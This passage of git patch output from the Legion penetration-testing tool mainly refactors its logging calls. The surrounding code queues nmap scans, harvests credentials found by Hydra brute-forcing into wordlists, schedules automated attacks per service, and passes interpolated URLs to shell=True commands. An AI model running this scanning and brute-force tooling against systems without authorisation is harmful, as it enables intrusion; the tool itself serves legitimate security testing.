'\t'+entry['IP'][j].strip().ljust(12,' ') + '\t'+entry['MAC'][j].strip().ljust(18,' ') + '\t'+entry['V'][j].strip().ljust(2,' ') ) diff --git a/ui/settingsdialogs.py b/ui/settingsdialogs.py index 8a7e937e..9b46e82c 100644 --- a/ui/settingsdialogs.py +++ b/ui/settingsdialogs.py @@ -321,13 +321,13 @@ def switchTabClick(self): # LEO: this if self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex()) == 'Tools': self.previousToolTab = self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) - log.info('previous tab is: ' + str(self.previousTab)) + log('info','previous tab is: ' + str(self.previousTab)) if self.validateCurrentTab(self.previousTab): # LEO: we don't care about the return value in this case. it's just for debug. - log.info('validation succeeded! switching tab! yay!') + log('info','validation succeeded! switching tab! yay!') # save the previous tab for the next time we switch tabs. TODO: not sure this should be inside the IF but makes sense to me. no point in saving the previous if there is no change.. self.previousTab = self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex()) else: - log.info('nope! cannot let you switch tab! you fucked up!') + log('info','nope! cannot let you switch tab! you fucked up!') def switchToolTabClick(self): # TODO: check for duplicate code. if self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) == 'Host Commands': @@ -501,18 +501,18 @@ def validateCurrentTab(self, tab): # LEO: your validationPassed = False else: - log.info('>>>> we should never be here. potential bug. 1') # LEO: added this just to help when testing. we'll remove it later. + log('info','>>>> we should never be here. potential bug. 1') # LEO: added this just to help when testing. we'll remove it later. elif tab == 'Wordlists': - log.info('Coming back from wordlists.') + log('info','Coming back from wordlists.') elif tab == 'Automated Attacks': - log.info('Coming back from automated attacks.') + log('info','Coming back from automated attacks.') else: - log.info('>>>> we should never be here. potential bug. 2') # LEO: added this just to help when testing. we'll remove it later. + log('info','>>>> we should never be here. potential bug. 2') # LEO: added this just to help when testing. we'll remove it later. - log.info('DEBUG: current tab is valid: ' + str(validationPassed)) + log('info','DEBUG: current tab is valid: ' + str(validationPassed)) return validationPassed #def generalTabValidate(self): @@ -609,15 +609,15 @@ def validateToolName(self): # called whe tmplineEdit.setStyleSheet("border: 1px solid red;") tmpWidget.setSelectionMode(QtWidgets.QAbstractItemView.NoSelection) self.validationPassed = False - log.info('the validation is: ' + str(self.validationPassed)) + log('info','the validation is: ' + str(self.validationPassed)) return self.validationPassed else: tmplineEdit.setStyleSheet("border: 1px solid grey;") tmpWidget.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection) self.validationPassed = True - log.info('the validation is: ' + str(self.validationPassed)) + log('info','the validation is: ' + str(self.validationPassed)) if tmpWidget.item(row,0).text() != str(actions[row][1]): - log.info('difference found') + log('info','difference found') actions[row][1] = tmpWidget.item(row,0).text() return self.validationPassed @@ -747,10 +747,10 @@ def updateToolForServiceInformation(self, update = True): if self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): # the first time do not update anything if self.portTableRow == -1 or update == False: - log.info('no update') + log('info','no update') pass else: - log.info('update done') + log('info','update done') self.updatePortActions() # self.portLabelText.setStyleSheet("border: 1px solid grey;") # self.portCommandText.setStyleSheet("border: 1px solid grey;") From 53bb9770616aa725cc3ffbfe9f0bc4eb2ffe2e8e Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 16 Oct 2018 02:23:49 -0500 Subject: [PATCH 043/450] Updates to logging design --- .justcloned | 0 app/auxiliary.py | 66 ++++++++++---------- app/logic.py | 86 ++++++++++++++------------ app/settings.py | 14 ++--- controller/controller.py | 65 +++++++++---------- db/database.py | 6 +- legion.py | 10 +-- parsers/Host.py | 28 ++++----- parsers/OS.py | 24 +++---- parsers/Parser.py | 48 +++++++------- parsers/Script.py | 4 +- parsers/Service.py | 10 +-- parsers/Session.py | 14 ++--- plugins/azureCveQuery/azureCveQuery.py | 18 +++--- scripts/snmpbrute.py | 4 +- ui/gui.py | 2 +- ui/settingsdialogs.py | 26 ++++---- ui/view.py | 32 +++++----- utilities/qtLogging.py | 3 + 19 files changed, 236 insertions(+), 224 deletions(-) create mode 100644 .justcloned diff --git a/.justcloned b/.justcloned new file mode 100644 index 00000000..e69de29b diff --git a/app/auxiliary.py b/app/auxiliary.py index 2d3f9369..737e2161 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -30,11 +30,8 @@ from time import time import io -logObj = get_logger('legion', path="legion.log") -logObj.setLevel(logging.INFO) - -def log(level, text, logger=logObj): - logger.info(text) +log = get_logger('legion', path="legion.log") +log.setLevel(logging.INFO) def timing(f): @wraps(f) @@ -43,7 +40,7 @@ def wrap(*args, **kw): result = f(*args, **kw) te = time() tr = te-ts - log('debug','Function:%r args:[%r, %r] took: %2.4f sec' % (f.__name__, args, kw, tr)) + log.debug('Function:%r args:[%r, %r] took: %2.4f sec' % (f.__name__, args, kw, tr)) return result return wrap @@ -156,7 +153,7 @@ def checkHydraResults(output): for line in results: login = re.search('(login:[\s]*)([^\s]+)', line) if login: - log('info','Found username: ' + login.group(2)) + log.info('Found username: ' + login.group(2)) usernames.append(login.group(2)) password = re.search('(password:[\s]*)([^\s]+)', line) if password: @@ -174,7 +171,7 @@ def exportNmapToHTML(filename): p.wait() except: - log('info','Could not convert nmap XML to HTML. Try: apt-get install xsltproc') + log.info('Could not convert nmap XML to HTML. Try: apt-get install xsltproc') # this class is used for example to store found usernames/passwords class Wordlist(): @@ -183,7 +180,7 @@ def __init__(self, filename): # needs full self.wordlist = [] with open(filename, 'a+') as f: # open for appending + reading self.wordlist = f.readlines() - log('info','Wordlist was created/opened: ' + str(filename)) + log.info('Wordlist was created/opened: ' + str(filename)) def setFilename(self, filename): self.filename = filename @@ -192,7 +189,7 @@ def setFilename(self, filename): def add(self, word): with open(self.filename, 'a') as f: if not word+'\n' in self.wordlist: - log('info','Adding '+word+' to the wordlist..') + log.info('Adding '+word+' to the wordlist..') self.wordlist.append(word+'\n') f.write(word+'\n') @@ -231,12 +228,16 @@ def readStdOutput(self): # browser opener class with queue and semaphores class BrowserOpener(QtCore.QThread): done = QtCore.pyqtSignal(name="done") # signals that we are done opening urls in browser + log = QtCore.pyqtSignal(str, name="log") def __init__(self): QtCore.QThread.__init__(self, parent=None) self.urls = [] self.processing = False + def tsLog(self, msg): + self.log.emit(str(msg)) + def addToQueue(self, url): self.urls.append(url) @@ -248,7 +249,7 @@ def run(self): for i in range(0, len(self.urls)): try: url = self.urls.pop(0) - printr('Opening url in browser: ' + url) + self.tsLog('Opening url in browser: ' + url) if isHttps(url.split(':')[0],url.split(':')[1]): webbrowser.open_new_tab('https://' + url) else: @@ -259,7 +260,7 @@ def run(self): self.sleep(1) # fixes bug when several calls to urllib occur too fast (interrupted system call) except: - log('info','Problem while opening url in browser. Moving on..') + self.tsLog('Problem while opening url in browser. Moving on..') continue self.processing = False @@ -270,13 +271,17 @@ def run(self): class Screenshooter(QtCore.QThread): done = QtCore.pyqtSignal(str, str, str, name="done") # signal sent after each individual screenshot is taken - + log = QtCore.pyqtSignal(str, name="log") + def __init__(self, timeout): QtCore.QThread.__init__(self, parent=None) self.urls = [] self.processing = False self.timeout = timeout # screenshooter timeout (ms) + def tsLog(self, msg): + self.log.emit(str(msg)) + def addToQueue(self, url): self.urls.append(url) @@ -297,8 +302,6 @@ def run(self): outputfile = getTimestamp()+'-screenshot-'+url.replace(':', '-')+'.png' ip = url.split(':')[0] port = url.split(':')[1] -# print 'Taking screenshot of '+url - # add to db if isHttps(ip,port): self.save("https://"+url, ip, port, outputfile) @@ -306,8 +309,8 @@ def run(self): self.save("http://"+url, ip, port, outputfile) except Exception as e: - log('info','Unable to take the screenshot. Moving on..') - log('info',e) + self.tsLog('Unable to take the screenshot. Moving on..') + self.tsLog(e) continue self.processing = False @@ -315,12 +318,11 @@ def run(self): if not len(self.urls) == 0: # if meanwhile urls were added to the queue, start over unless we are in pause mode self.run() - #log('info','Finished.') + self.tsLog('Finished.') def save(self, url, ip, port, outputfile): - #log('info','Saving screenshot as: '+str(outputfile)) + self.tsLog('Saving screenshot as: '+str(outputfile)) command = 'xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --url="{url}/" --max-wait=5000 --out="{outputfolder}/{outputfile}"'.format(url=url, outputfolder=self.outputfolder, outputfile=outputfile) - #log('info',command) p = subprocess.Popen(command, shell=True) p.wait() # wait for command to finish self.done.emit(ip,port,outputfile) # send a signal to add the 'process' to the DB @@ -354,7 +356,7 @@ def apply(self, up, down, checked, portopen, portfiltered, portclosed, tcp, udp, @timing def setKeywords(self, keywords): - log('info',str(keywords)) + log.info(str(keywords)) self.keywords = keywords @timing @@ -363,18 +365,18 @@ def getFilters(self): @timing def display(self): - log('info','Filters are:') - log('info','Show checked hosts: ' + str(self.checked)) - log('info','Show up hosts: ' + str(self.up)) - log('info','Show down hosts: ' + str(self.down)) - log('info','Show tcp: ' + str(self.tcp)) - log('info','Show udp: ' + str(self.udp)) - log('info','Show open ports: ' + str(self.portopen)) - log('info','Show closed ports: ' + str(self.portclosed)) - log('info','Show filtered ports: ' + str(self.portfiltered)) - log('info','Keyword search:') + log.info('Filters are:') + log.info('Show checked hosts: ' + str(self.checked)) + log.info('Show up hosts: ' + str(self.up)) + log.info('Show down hosts: ' + str(self.down)) + log.info('Show tcp: ' + str(self.tcp)) + log.info('Show udp: ' + str(self.udp)) + log.info('Show open ports: ' + str(self.portopen)) + log.info('Show closed ports: ' + str(self.portclosed)) + log.info('Show filtered ports: ' + str(self.portfiltered)) + log.info('Keyword search:') for w in self.keywords: - log('info',w) + log.info(w) ### VALIDATION FUNCTIONS ### diff --git a/app/logic.py b/app/logic.py index 5b6144ec..168e2cf7 100644 --- a/app/logic.py +++ b/app/logic.py @@ -26,10 +26,10 @@ def __init__(self): def createTemporaryFiles(self): try: - log('info','Creating temporary files..') + log.info('Creating temporary files..') self.istemp = True # indicates that file is temporary and can be deleted if user exits without saving - log('info',self.cwd) + log.info(self.cwd) tf = tempfile.NamedTemporaryFile(suffix=".ldb",prefix="legion-", delete=False, dir="./tmp/") # to store the database file self.outputfolder = tempfile.mkdtemp(suffix="-tool-output",prefix="legion-", dir="./tmp/") # to store tool output of finished processes self.runningfolder = tempfile.mkdtemp(suffix="-running",prefix="legion-", dir="./tmp/") # to store tool output of running processes @@ -39,19 +39,19 @@ def createTemporaryFiles(self): self.usernamesWordlist = Wordlist(self.outputfolder + '/legion-usernames.txt') # to store found usernames self.passwordsWordlist = Wordlist(self.outputfolder + '/legion-passwords.txt') # to store found passwords self.projectname = tf.name - log('info',tf.name) + log.info(tf.name) self.db = Database(self.projectname) except: - log('info','Something went wrong creating the temporary files..') - log('info',"Unexpected error:", sys.exc_info()) + log.info('Something went wrong creating the temporary files..') + log.info("Unexpected error:", sys.exc_info()) def removeTemporaryFiles(self): - log('info','Removing temporary files and folders..') + log.info('Removing temporary files and folders..') try: if not self.istemp: # if current project is not temporary if not self.storeWordlists: # delete wordlists if necessary - log('info','Removing wordlist files.') + log.info('Removing wordlist files.') os.remove(self.usernamesWordlist.filename) os.remove(self.passwordsWordlist.filename) @@ -62,8 +62,8 @@ def removeTemporaryFiles(self): shutil.rmtree(self.runningfolder) except: - log('info','Something went wrong removing temporary files and folders..') - log('info',"Unexpected error:", sys.exc_info()[0]) + log.info('Something went wrong removing temporary files and folders..') + log.info("Unexpected error:", sys.exc_info()[0]) def createFolderForTool(self, tool): if 'nmap' in tool: @@ -104,8 +104,8 @@ def moveToolOutput(self, outputFilename): elif os.path.exists(str(outputFilename)+'.txt') and os.path.isfile(str(outputFilename)+'.txt'): shutil.move(str(outputFilename)+'.txt', str(path)) except: - log('info','Something went wrong moving the tool output file..') - log('info',"Unexpected error:", sys.exc_info()[0]) + log.info('Something went wrong moving the tool output file..') + log.info("Unexpected error:", sys.exc_info()[0]) def copyNmapXMLToOutputFolder(self, file): try: @@ -116,12 +116,12 @@ def copyNmapXMLToOutputFolder(self, file): shutil.copy(str(file), str(path)) # will overwrite if file already exists except: - log('info','Something went wrong copying the imported XML to the project folder.') - log('info',"Unexpected error:", sys.exc_info()[0]) + log.info('Something went wrong copying the imported XML to the project folder.') + log.info("Unexpected error:", sys.exc_info()[0]) def openExistingProject(self, filename): try: - log('info','Opening project..') + log.info('Opening project..') self.istemp = False # indicate the file is NOT temporary and should NOT be deleted later self.projectname = str(filename) # set the new projectname and outputfolder vars @@ -138,8 +138,8 @@ def openExistingProject(self, filename): self.cwd = ntpath.dirname(str(self.projectname))+'/' # update cwd so it appears nicely in the window title except: - log('info','Something went wrong while opening the project..') - log('info',"Unexpected error:", sys.exc_info()[0]) + log.info('Something went wrong while opening the project..') + log.info("Unexpected error:", sys.exc_info()[0]) # this function copies the current project files and folder to a new location # if the replace flag is set to 1, it overwrites the destination file and folder @@ -160,7 +160,7 @@ def saveProjectAs(self, filename, replace=0): os.system('cp -r "'+self.outputfolder+'/." "'+str(foldername)+'"') if self.istemp: # we can remove the temp file/folder if it was temporary - log('info','Removing temporary files and folders..') + log.info('Removing temporary files and folders..') os.remove(self.projectname) shutil.rmtree(self.outputfolder) @@ -176,8 +176,8 @@ def saveProjectAs(self, filename, replace=0): return True except: - log('info','Something went wrong while saving the project..') - log('info',"Unexpected error:", sys.exc_info()[0]) + log.info('Something went wrong while saving the project..') + log.info("Unexpected error:", sys.exc_info()[0]) return False def isHostInDB(self, host): # used we don't run tools on hosts out of scope @@ -398,10 +398,10 @@ def toggleHostCheckStatus(self, ipaddr): # this function adds a new process to the DB def addProcessToDB(self, proc): - log('info','Add process') + log.info('Add process') p_output = process_output() # add row to process_output table (separate table for performance reasons) p = process(str(proc.pid()), str(proc.name), str(proc.tabtitle), str(proc.hostip), str(proc.port), str(proc.protocol), unicode(proc.command), proc.starttime, "", str(proc.outputfile), 'Waiting', p_output) - log('info',p) + log.info(p) session = self.db.session() session.add(p) #session.commit() @@ -520,7 +520,7 @@ def storeProcessOutputInDB(self, procId, output): def storeNotesInDB(self, hostId, notes): if len(notes) == 0: notes = unicode("Notes for {hostId}".format(hostId=hostId)) - log('info',"Storing notes for {hostId}, Notes {notes}".format(hostId=hostId, notes=notes)) + log.info("Storing notes for {hostId}, Notes {notes}".format(hostId=hostId, notes=notes)) t_note = self.getNoteFromDB(hostId) if t_note: t_note.text = unicode(notes) @@ -549,11 +549,15 @@ class NmapImporter(QtCore.QThread): tick = QtCore.pyqtSignal(int, name="changed") # New style signal done = QtCore.pyqtSignal(name="done") # New style signal schedule = QtCore.pyqtSignal(object, bool, name="schedule") # New style signal + log = QtCore.pyqtSignal(str, name="log") def __init__(self): QtCore.QThread.__init__(self, parent=None) self.output = '' + def tsLog(self, msg): + self.log.emit(str(msg)) + def setDB(self, db): self.db = db @@ -566,14 +570,14 @@ def setOutput(self, output): def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing try: session = self.db.session() - log('info',"Parsing nmap xml file: " + self.filename) + self.tsLog("Parsing nmap xml file: " + self.filename) starttime = time() try: parser = Parser(self.filename) except: - log('info','Giving up on import due to previous errors.') - log('info',"Unexpected error:", sys.exc_info()[0]) + self.tsLog('Giving up on import due to previous errors.') + self.tsLog("Unexpected error:", sys.exc_info()[0]) self.done.emit() return @@ -594,28 +598,28 @@ def run(self): # it is nece if not db_host: # if host doesn't exist in DB, create it first hid = nmap_host(os_match='', os_accuracy='', ip=h.ip, ipv4=h.ipv4, ipv6=h.ipv6, macaddr=h.macaddr, status=h.status, hostname=h.hostname, vendor=h.vendor, uptime=h.uptime, lastboot=h.lastboot, distance=h.distance, state=h.state, count=h.count) - log('info',"Adding db_host") + self.tsLog("Adding db_host") session.add(hid) t_note = note(h.ip, 'Added by nmap') session.add(t_note) else: - log('info',"Found db_host already in db") + self.tsLog("Found db_host already in db") session.commit() for h in parser.all_hosts(): # create all OS, service and port objects that need to be created - log('info',"Processing h {ip}".format(ip=h.ip)) + self.tsLog("Processing h {ip}".format(ip=h.ip)) db_host = session.query(nmap_host).filter_by(ip=h.ip).first() if db_host: - log('info',"Found db_host during os/ports/service processing") + self.tsLog("Found db_host during os/ports/service processing") else: - log('info',"Did not find db_host during os/ports/service processing") + self.log("Did not find db_host during os/ports/service processing") os_nodes = h.get_OS() # parse and store all the OS nodes - log('info'," 'os_nodes' to process: {os_nodes}".format(os_nodes=str(len(os_nodes)))) + self.tsLog(" 'os_nodes' to process: {os_nodes}".format(os_nodes=str(len(os_nodes)))) for os in os_nodes: - log('info'," Processing os obj {os}".format(os=str(os.name))) + self.tsLog(" Processing os obj {os}".format(os=str(os.name))) db_os = session.query(nmap_os).filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() if not db_os: @@ -623,13 +627,13 @@ def run(self): # it is nece session.add(t_nmap_os) all_ports = h.all_ports() - log('info'," 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) + self.tsLog(" 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) for p in all_ports: # parse the ports - log('info'," Processing port obj {port}".format(port=str(p.portId))) + self.tsLog(" Processing port obj {port}".format(port=str(p.portId))) s = p.get_service() if not (s is None): # check if service already exists to avoid adding duplicates - log('info'," Found service {service} for port {port}".format(service=str(s.name),port=str(p.portId))) + self.tsLog(" Found service {service} for port {port}".format(service=str(s.name),port=str(p.portId))) db_service = session.query(nmap_service).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() if not db_service: @@ -659,13 +663,13 @@ def run(self): # it is nece for p in h.all_ports(): for scr in p.get_scripts(): - log('info'," Processing script obj {scr}".format(scr=str(scr))) + self.tsLog(" Processing script obj {scr}".format(scr=str(scr))) db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() db_script = session.query(nmap_script).filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() if not db_script: # if this script object doesn't exist, create it t_nmap_script = nmap_script(scr.scriptId, scr.output, db_port.id, db_host.id) - log('info'," Adding nmap_script obj {script}".format(script=scr.scriptId)) + self.tsLog(" Adding nmap_script obj {script}".format(script=scr.scriptId)) session.add(t_nmap_script) for hs in h.get_hostscripts(): @@ -756,13 +760,13 @@ def run(self): # it is nece session.commit() self.db.dbsemaphore.release() # we are done with the DB - log('info','Finished in '+ str(time()-starttime) + ' seconds.') + self.tsLog('Finished in '+ str(time()-starttime) + ' seconds.') self.done.emit() self.schedule.emit(parser, self.output == '') # call the scheduler (if there is no terminal output it means we imported nmap) except Exception as e: - log('info','Something went wrong when parsing the nmap file..') - log('info',"Unexpected error:", sys.exc_info()[0]) - log('info',e) + self.tsLog('Something went wrong when parsing the nmap file..') + self.tsLog("Unexpected error:", sys.exc_info()[0]) + self.tsLog(e) raise self.done.emit() diff --git a/app/settings.py b/app/settings.py index 881f410d..d533eb97 100644 --- a/app/settings.py +++ b/app/settings.py @@ -20,7 +20,7 @@ class AppSettings(): def __init__(self): # check if settings file exists and creates it if it doesn't if not os.path.exists('./legion.conf'): - log('info','Creating settings file..') + log.info('Creating settings file..') self.createDefaultSettings() self.createDefaultBruteSettings() self.createDefaultNmapSettings() @@ -30,7 +30,7 @@ def __init__(self): self.createDefaultPortTerminalActions() self.createDefaultSchedulerSettings() else: - log('info','Loading settings file..') + log.info('Loading settings file..') self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) # This function creates the default settings file. Note that, in general, everything is case sensitive. @@ -300,7 +300,7 @@ def getSchedulerSettings_old(self): def backupAndSave(self, newSettings): # Backup and save - log('info','Backing up old settings and saving new settings..') + log.info('Backing up old settings and saving new settings..') os.rename('./legion.conf', './'+getTimestamp()+'-legion.conf') self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) @@ -442,8 +442,8 @@ def __init__(self, appSettings=None): self.tools_path_texteditor = self.toolSettings['texteditor-path'] except KeyError: - log('info','Something went wrong while loading the configuration file. Falling back to default settings for some settings.') - log('info','Go to the settings menu to fix the issues!') + log.info('Something went wrong while loading the configuration file. Falling back to default settings for some settings.') + log.info('Go to the settings menu to fix the issues!') # TODO: send signal to automatically open settings dialog here def __eq__(self, other): # returns false if settings objects are different @@ -455,6 +455,6 @@ def __eq__(self, other): # returns fa settings = AppSettings() s = Settings(settings) s2 = Settings(settings) - log('info',s == s2) + log.info(s == s2) s2.general_default_terminal = 'whatever' - log('info',s == s2) + log.info(s == s2) diff --git a/controller/controller.py b/controller/controller.py index 5fc7917f..46b73c45 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -54,13 +54,16 @@ def initNmapImporter(self): self.nmapImporter.tick.connect(self.view.importProgressWidget.setProgress) # update the progress bar self.nmapImporter.done.connect(self.nmapImportFinished) self.nmapImporter.schedule.connect(self.scheduler) # run automated attacks + self.nmapImporter.log.connect(self.view.ui.LogOutputTextView.append) def initScreenshooter(self): self.screenshooter = Screenshooter(self.settings.general_screenshooter_timeout) # screenshot taker object (different thread) self.screenshooter.done.connect(self.screenshotFinished) + self.screenshooter.log.connect(self.view.ui.LogOutputTextView.append) def initBrowserOpener(self): self.browser = BrowserOpener() # browser opener object (different thread) + self.browser.log.connect(self.view.ui.LogOutputTextView.append) def initTimers(self): # these timers are used to prevent from updating the UI several times within a short time period - which freezes the UI self.updateUITimer = QTimer() @@ -81,7 +84,7 @@ def loadSettings(self): self.view.settingsWidget.setSettings(Settings(self.settingsFile)) def applySettings(self, newSettings): # call this function when clicking 'apply' in the settings menu (after validation) - log('info','Applying settings!') + log.info('Applying settings!') self.settings = newSettings def cancelSettings(self): # called when the user presses cancel in the Settings dialog @@ -90,10 +93,10 @@ def cancelSettings(self): # called whe @timing def saveSettings(self): if not self.settings == self.originalSettings: - log('info','Settings have been changed.') + log.info('Settings have been changed.') self.settingsFile.backupAndSave(self.settings) else: - log('info','Settings have NOT been changed.') + log.info('Settings have NOT been changed.') def getSettings(self): return self.settings @@ -183,7 +186,7 @@ def closeProject(self): @timing def addHosts(self, iprange, runHostDiscovery, runStagedNmap): if iprange == '': - log('info','No hosts entered..') + log.info('No hosts entered..') return if runStagedNmap: @@ -192,7 +195,7 @@ def addHosts(self, iprange, runHostDiscovery, runStagedNmap): elif runHostDiscovery: outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-host-discover' command = "nmap -n -sV -O --version-light -T4 "+iprange+" -oA "+outputfile - log('info',"Running {command}".format(command=command)) + log.info("Running {command}".format(command=command)) self.runCommand('nmap', 'nmap (discovery)', iprange, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(iprange), 'nmap (discovery)', True)) else: @@ -237,7 +240,7 @@ def handleHostAction(self, ip, hostid, actions, action): return if action.text() == 'Run nmap (staged)': - log('info','Purging previous portscan data for ' + str(ip)) # if we are running nmap we need to purge previous portscan results + log.info('Purging previous portscan data for ' + str(ip)) # if we are running nmap we need to purge previous portscan results if self.logic.getPortsForHostFromDB(ip, 'tcp'): self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'tcp') if self.logic.getPortsForHostFromDB(ip, 'udp'): @@ -367,7 +370,7 @@ def handlePortAction(self, targets, *args): return if action.text() == 'Run custom command': - log('info','custom command') + log.info('custom command') return terminal = self.settings.general_default_terminal # handle terminal actions @@ -400,7 +403,7 @@ def handleProcessAction(self, selectedProcesses, action): # selectedPr self.killProcess(self.view.ProcessesTableModel.getProcessPidForId(p[2]), p[2]) self.logic.storeProcessCancelStatusInDB(str(p[2])) else: - log('info',"This process has already been terminated. Skipping.") + log.info("This process has already been terminated. Skipping.") else: self.killProcess(p[0], p[2]) self.view.updateProcessesTableView() @@ -467,15 +470,15 @@ def getProcessesFromDB(self, filters, showProcesses=''): #################### PROCESSES #################### def checkProcessQueue(self): - log('debug','# MAX PROCESSES: ' + str(self.settings.general_max_fast_processes)) - log('debug','# Fast processes running: ' + str(self.fastProcessesRunning)) - log('debug','# Fast processes queued: ' + str(self.fastProcessQueue.qsize())) + log.debug('# MAX PROCESSES: ' + str(self.settings.general_max_fast_processes)) + log.debug('# Fast processes running: ' + str(self.fastProcessesRunning)) + log.debug('# Fast processes queued: ' + str(self.fastProcessQueue.qsize())) if not self.fastProcessQueue.empty(): if (self.fastProcessesRunning < int(self.settings.general_max_fast_processes)): next_proc = self.fastProcessQueue.get() if not self.logic.isCanceledProcess(str(next_proc.id)): - log('debug','Running: '+ str(next_proc.command)) + log.debug('Running: '+ str(next_proc.command)) next_proc.display.clear() self.processes.append(next_proc) self.fastProcessesRunning += 1 @@ -484,27 +487,27 @@ def checkProcessQueue(self): next_proc.start(next_proc.command) self.logic.storeProcessRunningStatusInDB(next_proc.id, next_proc.pid()) elif not self.fastProcessQueue.empty(): - log('debug','> next process was canceled, checking queue again..') + log.debug('> next process was canceled, checking queue again..') self.checkProcessQueue() def cancelProcess(self, dbId): - log('info','Canceling process: ' + str(dbId)) + log.info('Canceling process: ' + str(dbId)) self.logic.storeProcessCancelStatusInDB(str(dbId)) # mark it as cancelled self.updateUITimer.stop() self.updateUITimer.start(1500) # update the interface soon def killProcess(self, pid, dbId): - log('info','Killing process: ' + str(pid)) + log.info('Killing process: ' + str(pid)) self.logic.storeProcessKillStatusInDB(str(dbId)) # mark it as killed try: os.kill(int(pid), signal.SIGTERM) except OSError: - log('info','This process has already been terminated.') + log.info('This process has already been terminated.') except: - log('info',"Unexpected error:", sys.exc_info()[0]) + log.info("Unexpected error:", sys.exc_info()[0]) def killRunningProcesses(self): - log('info','Killing running processes!') + log.info('Killing running processes!') for p in self.processes: p.finished.disconnect() # experimental self.killProcess(int(p.pid()), p.id) @@ -526,7 +529,7 @@ def runCommand(self, *args, discovery=True, stage=0, stop=False): textbox.setProperty('dbId', str(self.logic.addProcessToDB(qProcess))) - log('info','Queuing: ' + str(command)) + log.info('Queuing: ' + str(command)) self.fastProcessQueue.put(qProcess) self.checkProcessQueue() @@ -560,7 +563,7 @@ def runPython(self): textbox.setProperty('dbId', str(self.logic.addProcessToDB(qProcess))) - log('info','Queuing: ' + str(command)) + log.info('Queuing: ' + str(command)) self.fastProcessQueue.put(qProcess) self.checkProcessQueue() @@ -628,9 +631,9 @@ def screenshotFinished(self, ip, port, filename): def processCrashed(self, proc): #self.processFinished(proc, True) self.logic.storeProcessCrashStatusInDB(str(proc.id)) - log('info','Process {qProcessId} Crashed!'.format(qProcessId=str(proc.id))) + log.info('Process {qProcessId} Crashed!'.format(qProcessId=str(proc.id))) qProcessOutput = "\n\t" + str(proc.display.toPlainText()).replace('\n','').replace("b'","") - log('info','Process {qProcessId} Output: {qProcessOutput}'.format(qProcessId=str(proc.id), qProcessOutput=qProcessOutput)) + log.info('Process {qProcessId} Output: {qProcessOutput}'.format(qProcessId=str(proc.id), qProcessOutput=qProcessOutput)) # this function handles everything after a process ends #def processFinished(self, qProcess, crashed=False): @@ -651,10 +654,10 @@ def processFinished(self, qProcess): if self.view.menuVisible == False: self.view.importProgressWidget.show() if qProcess.exitCode() != 0: - log('info',"Process {qProcessId} exited with code {qProcessExitCode}".format(qProcessId=qProcess.id, qProcessExitCode=qProcess.exitCode())) + log.info("Process {qProcessId} exited with code {qProcessExitCode}".format(qProcessId=qProcess.id, qProcessExitCode=qProcess.exitCode())) self.processCrashed(qProcess) - log('info',"Process {qProcessId} is done!".format(qProcessId=qProcess.id)) + log.info("Process {qProcessId} is done!".format(qProcessId=qProcess.id)) self.logic.storeProcessOutputInDB(str(qProcess.id), qProcess.display.toPlainText()) @@ -670,9 +673,9 @@ def processFinished(self, qProcess): self.updateUITimer.start(1500) # update the interface soon except Exception as e: - log('info',"Process Finished Cleanup Exception {e}".format(e=e)) + log.info("Process Finished Cleanup Exception {e}".format(e=e)) except Exception as e: # fixes bug when receiving finished signal when project is no longer open. - log('info',"Process Finished Exception {e}".format(e=e)) + log.info("Process Finished Exception {e}".format(e=e)) raise def handleHydraFindings(self, bWidget, userlist, passlist): # when hydra finds valid credentials we need to save them and change the brute tab title to red @@ -687,7 +690,7 @@ def scheduler(self, parser, isNmapImport): if isNmapImport and self.settings.general_enable_scheduler_on_import == 'False': return if self.settings.general_enable_scheduler == 'True': - log('info','Scheduler started!') + log.info('Scheduler started!') for h in parser.all_hosts(): for p in h.all_ports(): @@ -696,11 +699,11 @@ def scheduler(self, parser, isNmapImport): if not (s is None): self.runToolsFor(s.name, h.ip, p.portId, p.protocol) - log('info','-----------------------------------------------') - log('info','Scheduler ended!') + log.info('-----------------------------------------------') + log.info('Scheduler ended!') def runToolsFor(self, service, ip, port, protocol='tcp'): - log('info','Running tools for: ' + service + ' on ' + ip + ':' + port) + log.info('Running tools for: ' + service + ' on ' + ip + ':' + port) if service.endswith("?"): # when nmap is not sure it will append a ?, so we need to remove it service=service[:-1] @@ -720,7 +723,7 @@ def runToolsFor(self, service, ip, port, protocol='tcp'): outputfile = self.logic.runningfolder+"/"+re.sub("[^0-9a-zA-Z]", "", str(tool[0]))+"/"+getTimestamp()+'-'+a[1]+"-"+ip+"-"+port command = str(a[2]) command = command.replace('[IP]', ip).replace('[PORT]', port).replace('[OUTPUT]', outputfile) - log('debug',"Running tool command " + str(command)) + log.debug("Running tool command " + str(command)) if 'nmap' in tabtitle: # we don't want to show nmap tabs restoring = True diff --git a/db/database.py b/db/database.py index 796b592f..c855bb61 100644 --- a/db/database.py +++ b/db/database.py @@ -226,8 +226,8 @@ def __init__(self, dbfilename): self.metadata.echo = True self.metadata.bind = self.engine except Exception as e: - log('info','Could not create database. Please try again.') - log('info',e) + log.info('Could not create database. Please try again.') + log.info(e) def openDB(self, dbfilename): try: @@ -241,7 +241,7 @@ def openDB(self, dbfilename): 